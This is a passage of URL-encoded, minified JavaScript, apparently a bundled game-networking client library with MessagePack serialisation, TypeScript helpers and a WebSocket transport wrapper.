3E24%2Cs%3E%3E16%2Cs%3E%3E8%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C15)%7Dif(n%20instanceof%20ArrayBuffer)%7Bif((c%3Dn.byteLength)%3C256)e.push(196%2Cc)%2Cl%3D2%3Belse%20if(c%3C65536)e.push(197%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22Buffer%20too%20large%22)%3Be.push(198%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dreturn%20t.push(%7B_bin%3An%2C_length%3Ac%2C_offset%3Ae.length%7D)%2Cl%2Bc%7Dif(%22function%22%3D%3Dtypeof%20n.toJSON)return%20Xe(e%2Ct%2Cn.toJSON())%3Bvar%20h%3D%5B%5D%2Cp%3D%22%22%2Cg%3DObject.keys(n)%3Bfor(o%3D0%2Ci%3Dg.length%3Bo%3Ci%3Bo%2B%2B)void%200!%3D%3Dn%5Bp%3Dg%5Bo%5D%5D%26%26%22function%22!%3Dtypeof%20n%5Bp%5D%26%26h.push(p)%3Bif((c%3Dh.length)%3C16)e.push(128%7Cc)%2Cl%3D1%3Belse%20if(c%3C65536)e.push(222%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22Object%20too%20large%22)%3Be.push(223%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dfor(o%3D0%3Bo%3Cc%3Bo%2B%2B)l%2B%3DXe(e%2Ct%2Cp%3Dh%5Bo%5D)%2Cl%2B%3DXe(e%2Ct%2Cn%5Bp%5D)%3Breturn%20l%7Dif(%22boolean%22%3D%3D%3Dr)return%20e.push(n%3F195%3A194)%2C1%3Bif(%22undefined%22%3D%3D%3Dr)return%20e.push(192)%2C1%3Bif(%22function%22%3D%3Dtypeof%20n.toJSON)return%20Xe(e%2Ct%2Cn.toJSON())%3Bthrow%20new%20Error(%22Could%20not%20encode%22)%7Dvar%20Ye%3DFe.encode%3Dfunction(e)%7Bvar%20t%3D%5B%5D%2Cn%3D%5B%5D%2Cr%3DXe(t%2Cn%2Ce)%2Co%3Dnew%20ArrayBuffer(r)%2Ci%3Dnew%20DataView(o)%2Cs%3D0%2Ca%3D0%2Cc%3D-1%3Bn.length%3E0%26%26(c%3Dn%5B0%5D._offset)%3Bfor(var%20l%2Cu%3D0%2Cf%3D0%2Cd%3D0%2Ch%3Dt.length%3Bd%3Ch%3Bd%2B%2B)if(i.setUint8(a%2Bd%2Ct%5Bd%5D)%2Cd%2B1%3D%3D%3Dc)%7Bif(u%3D(l%3Dn%5Bs%5D)._length%2Cf%3Da%2Bc%2Cl._bin)for(var%20p%3Dnew%20Uint8Array(l._bin)%2Cg%3D0%3Bg%3Cu%3Bg%2B%2B)i.setUint8(f%2Bg%2Cp%5Bg%5D)%3Belse%20l._str%3FQe(i%2Cf%2Cl._str)%3Avoid%200!%3D%3Dl._float%26%26i.setFloat64(f%2Cl._float)%3Ba%2B%3Du%2Cn%5B%2B%2Bs%5D%26%26(c%3Dn%5Bs%5D._offset)%7Dreturn%20o%7D%2CZe%3D%7Bexports%3A%7B%7D%7D%3B(function(e)%7Bfunction%20t(e%2Ct)%7Breturn%20t.forEach((function(t)%7Bt%26%26%22string%22!%3Dtypeof%20t%26%26!Array.isArray(t)%26%26Object.keys(t).forEach((function(n)%7Bif(%22default%22!%3D%3Dn%26%26!(n%20in%20e))%7Bvar%20r%3DObject.getOwnPropertyDescriptor(t%2Cn)%3BObject.defineProperty(e%2Cn%2Cr.get%3Fr%3A%7Benumerable%3A!0%2Cget%3Afunction()%7Breturn%20t%5Bn%5D%7D%7D)%7D%7D))%7D))%2CObject.freeze(e)%7DArrayBuffer.isView%7C%7C(ArrayBuffer.isView%3Dfunction(e)%7Breturn%20null!%3D%3De%26%26%22object%22%3D%3Dtypeof%20e%26%26e.buffer%20instanceof%20ArrayBuffer%7D)%2C%22undefined%22%3D%3Dtypeof%20globalThis%26%26%22undefined%22!%3Dtypeof%20window%26%26(window.globalThis%3Dwindow)%3Bvar%20n%3Dfunction(e%2Ct)%7Breturn%20n%3DObject.setPrototypeOf%7C%7C%7B__proto__%3A%5B%5D%7Dinstanceof%20Array%26%26function(e%2Ct)%7Be.__proto__%3Dt%7D%7C%7Cfunction(e%2Ct)%7Bfor(var%20n%20in%20t)Object.prototype.hasOwnProperty.call(t%2Cn)%26%26(e%5Bn%5D%3Dt%5Bn%5D)%7D%2Cn(e%2Ct)%7D%3Bfunction%20r(e%2Ct)%7Bif(%22function%22!%3Dtypeof%20t%26%26null!%3D%3Dt)throw%20new%20TypeError(%22Class%20extends%20value%20%22%2BString(t)%2B%22%20is%20not%20a%20constructor%20or%20null%22)%3Bfunction%20r()%7Bthis.constructor%3De%7Dn(e%2Ct)%2Ce.prototype%3Dnull%3D%3D%3Dt%3FObject.create(t)%3A(r.prototype%3Dt.prototype%2Cnew%20r)%7Dvar%20o%2Ci%3Dfunction()%7Breturn%20i%3DObject.assign%7C%7Cfunction(e)%7Bfor(var%20t%2Cn%3D1%2Cr%3Darguments.length%3Bn%3Cr%3Bn%2B%2B)for(var%20o%20in%20t%3Darguments%5Bn%5D)Object.prototype.hasOwnProperty.call(t%2Co)%26%26(e%5Bo%5D%3Dt%5Bo%5D)%3Breturn%20e%7D%2Ci.apply(this%2Carguments)%7D%3Bfunction%20s(e%2Ct%2Cn%2Cr)%7Bfunction%20o(e)%7Breturn%20e%20instanceof%20n%3Fe%3Anew%20n((function(t)%7Bt(e)%7D))%7Dreturn%20new(n%7C%7C(n%3DPromise))((function(n%2Ci)%7Bfunction%20s(e)%7Btry%7Bc(r.next(e))%7Dcatch(e)%7Bi(e)%7D%7Dfunction%20a(e)%7Btry%7Bc(r.throw(e))%7Dcatch(e)%7Bi(e)%7D%7Dfunction%20c(e)%7Be.done%3Fn(e.value)%3Ao(e.value).then(s%2Ca)%7Dc((r%3Dr.apply(e%2Ct%7C%7C%5B%5D)).next())%7D))%7Dfunction%20a(e%2Ct)%7Bvar%20n%2Cr%2Co%2Ci%2Cs%3D%7Blabel%3A0%2Csent%3Afunction()%7Bif(1%26o%5B0%5D)throw%20o%5B1%5D%3Breturn%20o%5B1%5D%7D%2Ctrys%3A%5B%5D%2Cops%3A%5B%5D%7D%3Breturn%20i%3D%7Bnext%3Aa(0)%2Cthrow%3Aa(1)%2Creturn%3Aa(2)%7D%2C%22function%22%3D%3Dtypeof%20Symbol%26%26(i%5BSymbol.iterator%5D%3Dfunction()%7Breturn%20this%7D)%2Ci%3Bfunction%20a(e)%7Breturn%20function(t)%7Breturn%20c(%5Be%2Ct%5D)%7D%7Dfunction%20c(a)%7Bif(n)throw%20new%20TypeError(%22Generator%20is%20already%20executing.%22)%3Bfor(%3Bi%26%26(i%3D0%2Ca%5B0%5D%26%26(s%3D0))%2Cs%3B)try%7Bif(n%3D1%2Cr%26%26(o%3D2%26a%5B0%5D%3Fr.return%3Aa%5B0%5D%3Fr.throw%7C%7C((o%3Dr.return)%26%26o.call(r)%2C0)%3Ar.next)%26%26!(o%3Do.call(r%2Ca%5B1%5D)).done)return%20o%3Bswitch(r%3D0%2Co%26%26(a%3D%5B2%26a%5B0%5D%2Co.value%5D)%2Ca%5B0%5D)%7Bcase%200%3Acase%201%3Ao%3Da%3Bbreak%3Bcase%204%3Areturn%20s.label%2B%2B%2C%7Bvalue%3Aa%5B1%5D%2Cdone%3A!1%7D%3Bcase%205%3As.label%2B%2B%2Cr%3Da%5B1%5D%2Ca%3D%5B0%5D%3Bcontinue%3Bcase%207%3Aa%3Ds.ops.pop()%2Cs.trys.pop()%3Bcontinue%3Bdefault%3Aif(!((o%3D(o%3Ds.trys).length%3E0%26%26o%5Bo.length-1%5D)%7C%7C6!%3D%3Da%5B0%5D%26%262!%3D%3Da%5B0%5D))%7Bs%3D0%3Bcontinue%7Dif(3%3D%3D%3Da%5B0%5D%26%26(!o%7C%7Ca%5B1%5D%3Eo%5B0%5D%26%26a%5B1%5D%3Co%5B3%5D))%7Bs.label%3Da%5B1%5D%3Bbreak%7Dif(6%3D%3D%3Da%5B0%5D%26%26s.label%3Co%5B1%5D)%7Bs.label%3Do%5B1%5D%2Co%3Da%3Bbreak%7Dif(o%26%26s.label%3Co%5B2%5D)%7Bs.label%3Do%5B2%5D%2Cs.ops.push(a)%3Bbreak%7Do%5B2%5D%26%26s.ops.pop()%2Cs.trys.pop()%3Bcontinue%7Da%3Dt.call(e%2Cs)%7Dcatch(e)%7Ba%3D%5B6%2Ce%5D%2Cr%3D0%7Dfinally%7Bn%3Do%3D0%7Dif(5%26a%5B0%5D)throw%20a%5B1%5D%3Breturn%7Bvalue%3Aa%5B0%5D%3Fa%5B1%5D%3Avoid%200%2Cdone%3A!0%7D%7D%7Dfunction%20c(e%2Ct%2Cn%2Cr)%7Bif(%22a%22%3D%3D%3Dn%26%26!r)throw%20new%20TypeError(%22Private%20accessor%20was%20defined%20without%20a%20getter%22)%3Bif(%22function%22%3D%3Dtypeof%20t%3Fe!%3D%3Dt%7C%7C!r%3A!t.has(e))throw%20new%20TypeError(%22Cannot%20read%20private%20member%20from%20an%20object%20whose%20class%20did%20not%20declare%20it%22)%3Breturn%22m%22%3D%3D%3Dn%3Fr%3A%22a%22%3D%3D%3Dn%3Fr.call(e)%3Ar%3Fr.value%3At.get(e)%7Dfunction%20l(e%2Ct%2Cn%2Cr%2Co)%7Bif(%22m%22%3D%3D%3Dr)throw%20new%20TypeError(%22Private%20method%20is%20not%20writable%22)%3Bif(%22a%22%3D%3D%3Dr%26%26!o)throw%20new%20TypeError(%22Private%20accessor%20was%20defined%20without%20a%20setter%22)%3Bif(%22function%22%3D%3Dtypeof%20t%3Fe!%3D%3Dt%7C%7C!o%3A!t.has(e))throw%20new%20TypeError(%22Cannot%20write%20private%20member%20to%20an%20object%20whose%20class%20did%20not%20declare%20it%22)%3Breturn%22a%22%3D%3D%3Dr%3Fo.call(e%2Cn)%3Ao%3Fo.value%3Dn%3At.set(e%2Cn)%2Cn%7D!function(e)%7Be%5Be.CONSENTED%3D4e3%5D%3D%22CONSENTED%22%2Ce%5Be.DEVMODE_RESTART%3D4010%5D%3D%22DEVMODE_RESTART%22%7D(o%7C%7C(o%3D%7B%7D))%3Bvar%20u%3Dfunction(e)%7Bfunction%20t(t%2Cn)%7Bvar%20r%3De.call(this%2Cn)%7C%7Cthis%3Breturn%20r.name%3D%22ServerError%22%2Cr.code%3Dt%2Cr%7Dreturn%20r(t%2Ce)%2Ct%7D(Error)%3Bfunction%20f(e%2Ct)%7Bif(this._offset%3Dt%2Ce%20instanceof%20ArrayBuffer)this._buffer%3De%2Cthis._view%3Dnew%20DataView(this._buffer)%3Belse%7Bif(!ArrayBuffer.isView(e))throw%20new%20Error(%22Invalid%20argument%22)%3Bthis._buffer%3De.buffer%2Cthis._view%3Dnew%20DataView(this._buffer%2Ce.byteOffset%2Ce.byteLength)%7D%7Dfunction%20d(e%2Ct%2Cn)%7Bfor(var%20r%3D%22%22%2Co%3D0%2Ci%3Dt%2Cs%3Dt%2Bn%3Bi%3Cs%3Bi%2B%2B)%7Bvar%20a%3De.getUint8(i)%3Bif(0!%3D(128%26a))if(192!%3D(224%26a))if(224!%3D(240%26a))%7Bif(240!%3D(248%26a))throw%20new%20Error(%22Invalid%20byte%20%22%2Ba.toString(16))%3B(o%3D(7%26a)%3C%3C18%7C(63%26e.getUint8(%2B%2Bi))%3C%3C12%7C(63%26e.getUint8(%2B%2Bi))%3C%3C6%7C(63%26e.getUint8(%2B%2Bi))%3C%3C0)%3E%3D65536%3F(o-%3D65536%2Cr%2B%3DString.fromCharCode(55296%2B(o%3E%3E%3E10)%2C56320%2B(1023%26o)))%3Ar%2B%3DString.fromCharCode(o)%7Delse%20r%2B%3DString.fromCharCode((15%26a)%3C%3C12%7C(63%26e.getUint8(%2B%2Bi))%3C%3C6%7C(63%26e.getUint8(%2B%2Bi))%3C%3C0)%3Belse%20r%2B%3DString.fromCharCode((31%26a)%3C%3C6%7C63%26e.getUint8(%2B%2Bi))%3Belse%20r%2B%3DString.fromCharCode(a)%7Dreturn%20r%7Dfunction%20h(e%2Ct)%7Bvoid%200%3D%3D%3Dt%26%26(t%3D0)%3Bvar%20n%3Dnew%20f(e%2Ct)%2Cr%3Dn._parse()%3Bif(n._offset!%3D%3De.byteLength)throw%20new%20Error(e.byteLength-n._offset%2B%22%20trailing%20bytes%22)%3Breturn%20r%7Df.prototype._array%3Dfunction(e)%7Bfor(var%20t%3Dnew%20Array(e)%2Cn%3D0%3Bn%3Ce%3Bn%2B%2B)t%5Bn%5D%3Dthis._parse()%3Breturn%20t%7D%2Cf.prototype._map%3Dfunction(e)%7Bfor(var%20t%3D%7B%7D%2Cn%3D0%3Bn%3Ce%3Bn%2B%2B)t%5Bthis._parse()%5D%3Dthis._parse()%3Breturn%20t%7D%2Cf.prototype._str%3Dfunction(e)%7Bvar%20t%3Dd(this._view%2Cthis._offset%2Ce)%3Breturn%20this._offset%2B%3De%2Ct%7D%2Cf.prototype._bin%3Dfunction(e)%7Bvar%20t%3Dthis._buffer.slice(this._offset%2Cthis._offset%2Be)%3Breturn%20this._offset%2B%3De%2Ct%7D%2Cf.prototype._parse%3Dfunction()%7Bvar%20e%2Ct%3Dthis._view.getUint8(this._offset%2B%2B)%2Cn%3D0%2Cr%3D0%2Co%3D0%2Ci%3D0%3Bif(t%3C192)return%20t%3C128%3Ft%3At%3C144%3Fthis._map(15%26t)%3At%3C160%3Fthis._array(15%26t)%3Athis._str(31%26t)%3Bif(t%3E223)return-1*(255-t%2B1)%3Bswitch(t)%7Bcase%20192%3Areturn%20null%3Bcase%20194%3Areturn!1%3Bcase%20195%3Areturn!0%3Bcase%20196%3Areturn%20n%3Dthis._view.getUint8(this._offset)%2Cthis._offset%2B%3D1%2Cthis._bin(n)%3Bcase%20197%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._bin(n)%3Bcase%20198%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._bin(n)%3Bcase%20199%3Aif(n%3Dthis._view.getUint8(this._offset)%2Cr%3Dthis._view.getInt8(this._offset%2B1)%2Cthis._offset%2B%3D2%2C-1%3D%3D%3Dr)%7Bvar%20s%3Dthis._view.getUint32(this._offset)%3Breturn%20o%3Dthis._view.getInt32(this._offset%2B4)%2Ci%3Dthis._view.getUint32(this._offset%2B8)%2Cthis._offset%2B%3D12%2Cnew%20Date(1e3*(4294967296*o%2Bi)%2Bs%2F1e6)%7Dreturn%5Br%2Cthis._bin(n)%5D%3Bcase%20200%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cr%3Dthis._view.getInt8(this._offset%2B2)%2Cthis._offset%2B%3D3%2C%5Br%2Cthis._bin(n)%5D%3Bcase%20201%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cr%3Dthis._view.getInt8(this._offset%2B4)%2Cthis._offset%2B%3D5%2C%5Br%2Cthis._bin(n)%5D%3Bcase%20202%3Areturn%20e%3Dthis._view.getFloat32(this._offset)%2Cthis._offset%2B%3D4%2Ce%3Bcase%20203%3Areturn%20e%3Dthis._view.getFloat64(this._offset)%2Cthis._offset%2B%3D8%2Ce%3Bcase%20204%3Areturn%20e%3Dthis._view.getUint8(this._offset)%2Cthis._offset%2B%3D1%2Ce%3Bcase%20205%3Areturn%20e%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Ce%3Bcase%20206%3Areturn%20e%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Ce%3Bcase%20207%3Areturn%20o%3Dthis._view.getUint32(this._offset)*Math.pow(2%2C32)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Co%2Bi%3Bcase%20208%3Areturn%20e%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2Ce%3Bcase%20209%3Areturn%20e%3Dthis._view.getInt16(this._offset)%2Cthis._offset%2B%3D2%2Ce%3Bcase%20210%3Areturn%20e%3Dthis._view.getInt32(this._offset)%2Cthis._offset%2B%3D4%2Ce%3Bcase%20211%3Areturn%20o%3Dthis._view.getInt32(this._offset)*Math.pow(2%2C32)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Co%2Bi%3Bcase%20212%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C0%3D%3D%3Dr%3Fvoid(this._offset%2B%3D1)%3A%5Br%2Cthis._bin(1)%5D%3Bcase%20213%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C%5Br%2Cthis._bin(2)%5D%3Bcase%20214%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C-1%3D%3D%3Dr%3F(e%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cnew%20Date(1e3*e))%3A%5Br%2Cthis._bin(4)%5D%3Bcase%20215%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C0%3D%3D%3Dr%3F(o%3Dthis._view.getInt32(this._offset)*Math.pow(2%2C32)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Cnew%20Date(o%2Bi))%3A-1%3D%3D%3Dr%3F(o%3Dthis._view.getUint32(this._offset)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Cnew%20Date(1e3*(4294967296*(3%26o)%2Bi)%2B(o%3E%3E%3E2)%2F1e6))%3A%5Br%2Cthis._bin(8)%5D%3Bcase%20216%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C%5Br%2Cthis._bin(16)%5D%3Bcase%20217%3Areturn%20n%3Dthis._view.getUint8(this._offset)%2Cthis._offset%2B%3D1%2Cthis._str(n)%3Bcase%20218%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._str(n)%3Bcase%20219%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._str(n)%3Bcase%20220%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._array(n)%3Bcase%20221%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._array(n)%3Bcase%20222%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._map(n)%3Bcase%20223%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._map(n)%7Dthrow%20new%20Error(%22Could%20not%20parse%22)%7D%3Bvar%20p%3D4294967295%2Cg%3D17179869183%3Bfunction%20m(e%2Ct%2Cn)%7Bfor(var%20r%3D0%2Co%3D0%2Ci%3Dn.length%3Bo%3Ci%3Bo%2B%2B)(r%3Dn.charCodeAt(o))%3C128%3Fe.setUint8(t%2B%2B%2Cr)%3Ar%3C2048%3F(e.setUint8(t%2B%2B%2C192%7Cr%3E%3E6)%2Ce.setUint8(t%2B%2B%2C128%7C63%26r))%3Ar%3C55296%7C%7Cr%3E%3D57344%3F(e.setUint8(t%2B%2B%2C224%7Cr%3E%3E12)%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E6%2663)%2Ce.setUint8(t%2B%2B%2C128%7C63%26r))%3A(o%2B%2B%2Cr%3D65536%2B((1023%26r)%3C%3C10%7C1023%26n.charCodeAt(o))%2Ce.setUint8(t%2B%2B%2C240%7Cr%3E%3E18)%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E12%2663)%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E6%2663)%2Ce.setUint8(t%2B%2B%2C128%7C63%26r))%7Dfunction%20%24(e)%7Bfor(var%20t%3D0%2Cn%3D0%2Cr%3D0%2Co%3De.length%3Br%3Co%3Br%2B%2B)(t%3De.charCodeAt(r))%3C128%3Fn%2B%3D1%3At%3C2048%3Fn%2B%3D2%3At%3C55296%7C%7Ct%3E%3D57344%3Fn%2B%3D3%3A(r%2B%2B%2Cn%2B%3D4)%3Breturn%20n%7Dfunction%20y(e%2Ct%2Cn)%7Bvar%20r%3Dtypeof%20n%2Co%3D0%2Ci%3D0%2Cs%3D0%2Ca%3D0%2Cc%3D0%2Cl%3D0%3Bif(%22string%22%3D%3D%3Dr)%7Bif((c%3D%24(n))%3C32)e.push(160%7Cc)%2Cl%3D1%3Belse%20if(c%3C256)e.push(217%2Cc)%2Cl%3D2%3Belse%20if(c%3C65536)e.push(218%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22String%20too%20long%22)%3Be.push(219%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dreturn%20t.push(%7B_str%3An%2C_length%3Ac%2C_offset%3Ae.length%7D)%2Cl%2Bc%7Dif(%22number%22%3D%3D%3Dr)return%20Math.floor(n)%3D%3D%3Dn%26%26isFinite(n)%3Fn%3E%3D0%3Fn%3C128%3F(e.push(n)%2C1)%3An%3C256%3F(e.push(204%2Cn)%2C2)%3An%3C65536%3F(e.push(205%2Cn%3E%3E8%2Cn)%2C3)%3An%3C4294967296%3F(e.push(206%2Cn%3E%3E24%2Cn%3E%3E16%2Cn%3E%3E8%2Cn)%2C5)%3A(s%3Dn%2FMath.pow(2%2C32)%3E%3E0%2Ca%3Dn%3E%3E%3E0%2Ce.push(207%2Cs%3E%3E24%2Cs%3E%3E16%2Cs%3E%3E8%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C9)%3An%3E%3D-32%3F(e.push(n)%2C1)%3An%3E%3D-128%3F(e.push(208%2Cn)%2C2)%3An%3E%3D-32768%3F(e.push(209%2Cn%3E%3E8%2Cn)%2C3)%3An%3E%3D-2147483648%3F(e.push(210%2Cn%3E%3E24%2Cn%3E%3E16%2Cn%3E%3E8%2Cn)%2C5)%3A(s%3DMath.floor(n%2FMath.pow(2%2C32))%2Ca%3Dn%3E%3E%3E0%2Ce.push(211%2Cs%3E%3E24%2Cs%3E%3E16%2Cs%3E%3E8%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C9)%3A(e.push(203)%2Ct.push(%7B_float%3An%2C_length%3A8%2C_offset%3Ae.length%7D)%2C9)%3Bif(%22object%22%3D%3D%3Dr)%7Bif(null%3D%3D%3Dn)return%20e.push(192)%2C1%3Bif(Array.isArray(n))%7Bif((c%3Dn.length)%3C16)e.push(144%7Cc)%2Cl%3D1%3Belse%20if(c%3C65536)e.push(220%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22Array%20too%20large%22)%3Be.push(221%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dfor(o%3D0%3Bo%3Cc%3Bo%2B%2B)l%2B%3Dy(e%2Ct%2Cn%5Bo%5D)%3Breturn%20l%7Dif(n%20instanceof%20Date)%7Bvar%20u%3Dn.getTime()%2Cf%3DMath.floor(u%2F1e3)%2Cd%3D1e6*(u-1e3*f)%3Breturn%20f%3E%3D0%26%26d%3E%3D0%26%26f%3C%3Dg%3F0%3D%3D%3Dd%26%26f%3C%3Dp%3F(e.push(214%2C255%2Cf%3E%3E24%2Cf%3E%3E16%2Cf%3E%3E8%2Cf)%2C6)%3A(s%3Df%2F4294967296%2Ca%3D4294967295%26f%2Ce.push(215%2C255%2Cd%3E%3E22%2Cd%3E%3E14%2Cd%3E%3E6%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C10)%3A(s%3DMath.floor(f%2F4294967296)%2Ca%3Df%3E%3E%3E0%2Ce.push(199%2C12%2C255%2Cd%3E%3E24%2Cd%3E%3E16%2Cd%3E%3E8%2Cd%2Cs%3E%3E24%2Cs%3E%3E16%2Cs%3E%3E8%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C15)%7Dif(n%20instanceof%20ArrayBuffer)%7Bif((c%3Dn.byteLength)%3C256)e.push(196%2Cc)%2Cl%3D2%3Belse%20if(c%3C65536)e.push(197%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22Buffer%20too%20large%22)%3Be.push(198%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dreturn%20t.push(%7B_bin%3An%2C_length%3Ac%2C_offset%3Ae.length%7D)%2Cl%2Bc%7Dif(%22function%22%3D%3Dtypeof%20n.toJSON)return%20y(e%2Ct%2Cn.toJSON())%3Bvar%20h%3D%5B%5D%2Cm%3D%22%22%2Cv%3DObject.keys(n)%3Bfor(o%3D0%2Ci%3Dv.length%3Bo%3Ci%3Bo%2B%2B)void%200!%3D%3Dn%5Bm%3Dv%5Bo%5D%5D%26%26%22function%22!%3Dtypeof%20n%5Bm%5D%26%26h.push(m)%3Bif((c%3Dh.length)%3C16)e.push(128%7Cc)%2Cl%3D1%3Belse%20if(c%3C65536)e.push(222%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22Object%20too%20large%22)%3Be.push(223%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dfor(o%3D0%3Bo%3Cc%3Bo%2B%2B)l%2B%3Dy(e%2Ct%2Cm%3Dh%5Bo%5D)%2Cl%2B%3Dy(e%2Ct%2Cn%5Bm%5D)%3Breturn%20l%7Dif(%22boolean%22%3D%3D%3Dr)return%20e.push(n%3F195%3A194)%2C1%3Bif(%22undefined%22%3D%3D%3Dr)return%20e.push(192)%2C1%3Bif(%22function%22%3D%3Dtypeof%20n.toJSON)return%20y(e%2Ct%2Cn.toJSON())%3Bthrow%20new%20Error(%22Could%20not%20encode%22)%7Dfunction%20v(e)%7Bvar%20t%3D%5B%5D%2Cn%3D%5B%5D%2Cr%3Dy(t%2Cn%2Ce)%2Co%3Dnew%20ArrayBuffer(r)%2Ci%3Dnew%20DataView(o)%2Cs%3D0%2Ca%3D0%2Cc%3D-1%3Bn.length%3E0%26%26(c%3Dn%5B0%5D._offset)%3Bfor(var%20l%2Cu%3D0%2Cf%3D0%2Cd%3D0%2Ch%3Dt.length%3Bd%3Ch%3Bd%2B%2B)if(i.setUint8(a%2Bd%2Ct%5Bd%5D)%2Cd%2B1%3D%3D%3Dc)%7Bif(u%3D(l%3Dn%5Bs%5D)._length%2Cf%3Da%2Bc%2Cl._bin)for(var%20p%3Dnew%20Uint8Array(l._bin)%2Cg%3D0%3Bg%3Cu%3Bg%2B%2B)i.setUint8(f%2Bg%2Cp%5Bg%5D)%3Belse%20l._str%3Fm(i%2Cf%2Cl._str)%3Avoid%200!%3D%3Dl._float%26%26i.setFloat64(f%2Cl._float)%3Ba%2B%3Du%2Cn%5B%2B%2Bs%5D%26%26(c%3Dn%5Bs%5D._offset)%7Dreturn%20o%7Dvar%20b%2Cw%3Dfunction()%7Bthrow%20new%20Error(%22ws%20does%20not%20work%20in%20the%20browser.%20Browser%20clients%20must%20use%20the%20native%20WebSocket%20object%22)%7D%2Cx%3DglobalThis.WebSocket%7C%7Cw%2CE%3Dfunction()%7Bfunction%20e(e)%7Bthis.events%3De%7Dreturn%20e.prototype.send%3Dfunction(e)%7Be%20instanceof%20ArrayBuffer%3Fthis.ws.send(e)%3AArray.isArray(e)%26%26this.ws.send(new%20Uint8Array(e).buffer)%7D%2Ce.prototype.connect%3Dfunction(e)%7Bthis.ws%3Dnew%20x(e%2Cthis.protocols)%2Cthis.ws.binaryType%3D%22arraybuffer%22%2Cthis.ws.onopen%3Dthis.events.onopen%2Cthis.ws.onmessage%3Dthis.events.onmessage%2Cthis.ws.onclose%3Dthis.events.onclose%2Cthis.ws.onerror%3Dthis.events.onerror%7D%2Ce.prototype.close%3Dfunction(e%2Ct)%7Bthis.ws.close(e%2Ct)%7D%2CObject.defineProperty(e.prototype%2C%22isOpen%22%2C%7Bget%3Afunction()%7Breturn%20this.ws.readyState%3D%3D%3Dx.OPEN%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ce%7D()%2C_%3Dfunction()%7Bfunction%20e()%7Bthis.events%3D%7B%7D%2Cthis.transport%3Dnew%20E(this.events)%7Dreturn%20e.prototype.send%3Dfunction(e)%7Bthis.transport.send(e)%7D%2Ce.prototype.connect%3Dfunction(e)%7Bthis.transport.connect(e)%7D%2Ce.prototype.close%3Dfunction(e%2Ct)%7Bthis.transport.close(e%2Ct)%7D%2CObject.defineProperty(e.prototype%2C%22isOpen%22%2C%7Bget%3Afunction()%7Breturn%20this.transport.isOpen%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ce%7D()%3Bfunction%20A(e%2Ct)%7Bfor(var%20n%3De%5Bt%2B%2B%5D%2Cr%3D%22%22%2Co%3D0%2Ci%3Dt%2Cs%3Dt%2Bn%3Bi%3Cs%3Bi%2B%2B)%7Bvar%20a%3De%5Bi%5D%3Bif(0!%3D(128%26a))if(192!%3D(224%26a))if(224!%3D(240%26a))%7Bif(240!%3D(248%26a))throw%20new%20Error(%22Invalid%20byte%20%22%2Ba.toString(16))%3B(o%3D(7%26a